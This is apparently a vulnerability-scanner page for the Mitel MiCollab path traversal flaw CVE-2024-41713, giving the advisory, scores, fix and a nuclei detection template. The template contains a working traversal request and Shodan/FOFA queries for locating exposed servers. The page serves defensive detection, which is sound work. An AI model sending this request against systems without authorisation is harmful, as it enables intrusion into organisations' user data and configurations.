Mitel MiCollab - Authentication Bypass

Exploited in the wild. Listed by CISA on 2025-01-07; known to be used by ransomware.

highseverity

7.5CVSS score

97.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could allow an unauthenticated attacker to conduct a path traversal attack, due to insufficient input validation. A successful exploit could allow unauthorized access, enabling the attacker to view, corrupt, or delete users' data and system configurations.

Impact

Unauthenticated attackers can exploit path traversal to access sensitive user data, system configurations, and corrupt or delete information.

Fix

Update Mitel MiCollab to a version later than 9.8 SP1 FP2 that patches CVE-2024-41713.

How to confirm it

Send: GET /npm-pwg/..;/axis2-AWC/services/listServices
Positive when: contains "Available services" and "Service Description" AND status 200

Run it with nuclei: nuclei -id CVE-2024-41713 -u <target>

The full check

id: CVE-2024-41713

info:
  name: Mitel MiCollab - Authentication Bypass
  author: DhiyaneshDK,watchTowr
  severity: high
  description: |
    A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could allow an unauthenticated attacker to conduct a path traversal attack, due to insufficient input validation. A successful exploit could allow unauthorized access, enabling the attacker to view, corrupt, or delete users' data and system configurations.
  impact: |
    Unauthenticated attackers can exploit path traversal to access sensitive user data, system configurations, and corrupt or delete information.
  remediation: |
    Update Mitel MiCollab to a version later than 9.8 SP1 FP2 that patches CVE-2024-41713.
  reference:
    - https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-misa-2024-0029
    - https://labs.watchtowr.com/where-theres-smoke-theres-fire-mitel-micollab-cve-2024-35286-cve-2024-41713-and-an-0day/?123
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41713
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-41713
    cwe-id: CWE-22
    epss-score: 0.97209
    epss-percentile: 0.99894
  metadata:
    verified: true
    max-request: 1
    vendor: mitel
    product: cmg_suite
    shodan-query: http.html:"Mitel Networks"
    fofa-query: body="mitel networks"
  tags: cve,cve204,mitel,cmg-suite,auth-bypass,kev,vkev,vuln

http:
  - raw:
      - |
        GET /npm-pwg/..;/axis2-AWC/services/listServices HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Available services"
          - "Service Description"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from